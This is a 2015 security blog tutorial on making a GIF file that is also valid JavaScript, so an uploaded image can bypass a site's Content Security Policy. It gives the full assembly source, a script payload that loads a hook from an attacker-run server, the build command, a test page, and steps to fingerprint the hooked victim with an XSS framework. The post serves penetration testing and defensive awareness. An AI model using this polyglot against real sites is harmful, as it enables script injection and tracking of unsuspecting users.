Bypassing Content Security Policy with a JS/GIF Polyglot

Posted by Ajin Abraham on Jun 10 2015

TL;DR

This post explains the creation of a JS/GIF polyglot to bypass Content Security Policy (CSP) in certain scenarios. We will build a custom polyglot file that is a valid GIF as well as JavaScript and use Xenotix to simulate real world exploitation.

The Scenario

Consider a pentesting scenario where you are working with a web application that uses Content Security Policy which prevents it from executing inline JavaScript but allows to execute JS source files loaded from same domain. The web application is having a WYSIWYG editor that allows writing HTML and uploading images. In this scenario how will you execute some JavaScript.

The Solution


What if an image can serve JS code? Researcher Ange Albertini had come up with a technique to abuse the GIF header and add JS code to a GIF file resulting in a GIF file that is a valid GIF and JS file at the same time also known as JS/GIF Polyglot.

Let's see how we can build a GIF file that can serve JS.

Download the YASM compiler from http://yasm.tortall.net/Download.html
and this asm file: https://gist.github.com/ajinabraham/f2a057fb1930f94886a3 

Your PoC JS code can be just  "alert(0)" or for Red Team Pentesting I would suggest you to use OWASP Xenotix XSS Exploit Framework (as I wrote it) or Beef (an alternative). In this post i will be using Xenotix.

Download Latest Xenotix from https://drive.google.com/file/d/0B_Ci-1YbMqshNHc3RFRPTzcyM00/view?usp=sharing

First of all run Xenotix and Start Server from Settings -> Configure Server

Once you start the server, copy the Xenotix xook URL. Open gifjs.asm in a Text Editor and scroll down to the bottom and add the following JavaScript in data byte.

s = document.createElement("script");
s.src = "http://127.0.0.1:5058/xook.js"; //Xenotix xook URL
document.body.appendChild(s);

In our case we need to dynamically add the Xenotix xook to the page that loads the GIF file as JS so that we can perform other advanced attacks from that xooked (hooked) page. Here is the gifjs.asm after adding the JS code

; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment
; inspired by Saumil Shah's Deadly Pixels presentation
; Ange Albertini, BSD Licence 2013
WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment
HEIGTH equ 100 ; just to make it easier to spot
db 'GIF89a'
dw WIDTH, HEIGTH
db 0 ; GCT
 db -1 ;  background color
 db 0 ; default aspect ratio
 ;db 0fch, 0feh, 0fch
 ;times COLORS db 0, 0, 0
 ; no need of Graphic Control Extension
 ; db 21h, 0f9h
 ; db GCESIZE ; size
 ; gce_start:
 ;     db 0 ; transparent background
 ;     dw 0 ; delay for anim
 ;     db 0 ; other transparent
 ; GCESIZE equ $ - gce_start
 ;     db 0 ; end of GCE
 db 02ch ; Image descriptor
 dw 0, 0 ; NW corner
 dw WIDTH, HEIGTH ; w/h of image
 db 0    ; color table
 db 2 ; lzw size
;db DATASIZE
 ;data_start:
 ;    db 00, 01, 04, 04
 ;    DATASIZE equ $ - data_start
db 0
db 3bh ; GIF terminator
; end of the GIF
db '*/'  ; closing the comment
db '=1;' ; creating a fake use of that GIF89a string
db 's = document.createElement("script");'
db 's.src = "http://127.0.0.1:5058/xook.js";'
db 'document.body.appendChild(s);'

Now lets compile the file. yasm gifjs.asm -o img.gif Let's test our Bi-format valid GIF file. Let's create an HTML file with the following source.

<img src="img.gif">
<script src="img.gif"></script>
Open the HTML file in a browser and you will see an image in the browser. Press F12 and go to your console.

Now you can see a message in the console (for Chrome),  

Resource interpreted as Script but transferred with MIME type image/gif: "file:///C:/Users/Ajin/Desktop/jspics/img.gif".

This just give us a hint that the page had requested and interpreted a GIF as JS. This is useful for malware analysts to identify malwares embedded in images. Malwares use this technique to deliver exploit codes and bypass detection. Well back to our scenario. Now the page is xooked and you can use Xenotix to fire up some XSS Exploits. 

Let's use the IP2Gelocation Module, Go back to Xenotix and run the IP2Geolocation module from Information Gathering -> Victim Fingerprinting -> IP2Geolocation. Click on Fingerprint and you will get something like this.


It's not just GIF, even other image formats like BMP and JPEG can also hide JavaScript in them.  Happy Hacking!


  • Tags: 
  • bypass csp
  • csp bypass
  • gif polyglot
  • javascript in gif
  • polyglot
  • csp bypass with polyglot

Ajin Abraham

  • |
  • |
  • |

Ajin Abraham is a Security Engineer with 10+ years of experience in Application Security, Research and Engineering. He is passionate about building and maintaining open source security tools and communities. Some of his contributions to Hacker's arsenal include Mobile Security Framework (MobSF), nodejsscan, OWASP Xenotix, etc. Areas of interest include runtime security instrumentation, offensive security, web and mobile application security, code and architectural reviews, cloud-native runtime security, security tool development, security automation, breaking and fixing security products, reverse engineering, and exploit development.